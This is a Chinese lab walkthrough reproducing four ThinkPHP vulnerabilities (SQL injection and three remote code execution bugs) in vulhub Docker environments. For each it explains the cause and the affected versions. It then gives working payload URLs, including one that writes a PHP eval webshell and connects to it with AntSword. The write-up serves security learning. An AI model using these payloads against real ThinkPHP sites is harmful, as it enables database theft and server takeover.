本文会先介绍漏洞原理、影响版本等理论知识,再进行漏洞复现,如果想直接看漏洞复现的,可直接戳右侧/下方标题跳转。

整体内容:

目录

一、in-sqlinjection:

漏洞原理

影响版本

漏洞复现

1.环境启动

2. POC

二、2-rce远程代码执行

漏洞原理

影响版本

漏洞复现

1.环境启动

2.构造payload

3.使用蚁剑getshell

三、5.0.23-rce远程代码执行:

漏洞原理

影响版本

漏洞复现

1.环境启动

2.寻找漏洞点

3.进行远程命令执行

四、5-rce远程代码执行:

漏洞原理

影响版本

漏洞复现

1.环境启动

2.寻找漏洞点

3.使用蚁剑getshell


一、in-sqlinjection:

漏洞原理

在 Builder 类的 parseData 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。

影响版本

5.0.13<=ThinkPHP<=5.0.15
5.1.0<=ThinkPHP<=5.1.5

漏洞复现

1.环境启动

cd vulhub-master/thinkphp/in-sqlinjection 
docker-compose up -d

2. POC

http://39.107.60.229/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

访问首页:http://39.107.60.229

可以看到user的信息被报错信息带出来了。

二、2-rce远程代码执行

漏洞原理

ThinkPHP2.x版本是使用preg_replace的/e模式匹配的路由

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户输入的参数被插入双引号中执行,造成任意代码执行。

ThinkPHP3.x的Lite模式下也没有修复该漏洞,漏洞依旧存在。

preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)

$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

影响版本

ThinkPHP 2.x

漏洞复现

1.环境启动

cd /vulhub/thinkphp/2-rce #进入漏洞环境所在目录

docker-compose up -d #启动靶场

docker ps #查看容器信息

访问相关网页:

2.构造payload

http://192.168.10.129:8080/?s=/Index/index/L/${@phpinfo()}

写入一句话木马:

http://192.168.10.129:8080/?s=/Index/index/name/${@print%28eval%28$_POST[1]%29%29}

3.使用蚁剑getshell

使用蚁剑连接,成功getshell!

注意连接时,要写一句话木马的poc。

做完别忘了关闭环境:

docker-compose down

三、5.0.23-rce远程代码执行:

漏洞原理

实现框架的核心类Requests的method方法实现表单请求类伪装,默认为$_POST[‘_method’]变量,却没有对_method属性进行严格校验,可以通过变量覆盖Requests类的属性,在结合框架特性实现对任意函数的调用实现任意代码执行。

攻击者可向缓存文件内写入PHP代码,导致远程代码执行。

影响版本

ThinkPHP 5.0.x ~ 5.0.23
ThinkPHP 5.1.x ~ 5.1.31
ThinkPHP 5.2.0beta1

漏洞复现

1.环境启动

cd vulhub/thinkphp/5.0.23-rce/ #进入漏洞环境所在目录
docker-compose up -d #启动靶场
docker ps #查看容器信息

访问首页:http://192.168.10.129:8080

​注:如果不确定端口号,可以输入docker-compose ps查看端口号;输入ifconfig查看IP地址。

2.寻找漏洞点

在此路径下找到了。

http://192.168.10.129:8080/index.php?s=captcha

3.进行远程命令执行

方法一:下载插件hackbar;

在页面点击F12,输入代码块。

方法二:利用burpsuite抓包放包:

做完以后别忘了关闭容器哦,防止下次开启环境端口被占用。

四、5-rce远程代码执行:

漏洞原理

在ThinkPHP5版本中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

影响版本

ThinkPHP5:
5.0.x~5.0.23;
5.1.0~5.1.30;

漏洞复现

1.环境启动

cd /vulhub/thinkphp/5-rce #进入漏洞环境所在目录
docker-compose up -d #启动靶场
docker ps #查看容器信息

2.寻找漏洞点

利用可利用点,进行代码拼接

http://192.168.10.129:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

其中,vars[0]用来接收函数名,vars[1][]用来接收参数

再拼接其他语句:

http://192.168.10.129:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27

​会输出我们打出的123,还有我们整体输入的字符长度。

3.使用蚁剑getshell

写入一句话木马getshell,使用file_put_contents函数写入shell:

http://192.168.10.129:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20"<?php%20@eval(\$_POST[1]);%20?>">>test.php

使用蚁剑进行连接,连接成功!

访问http://192.168.10.129:8080这个页面,是我们写入的代码路径。

(谢谢大家!欢迎提出批评和建议!你的支持是我持续更新的巨大动力!) 

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐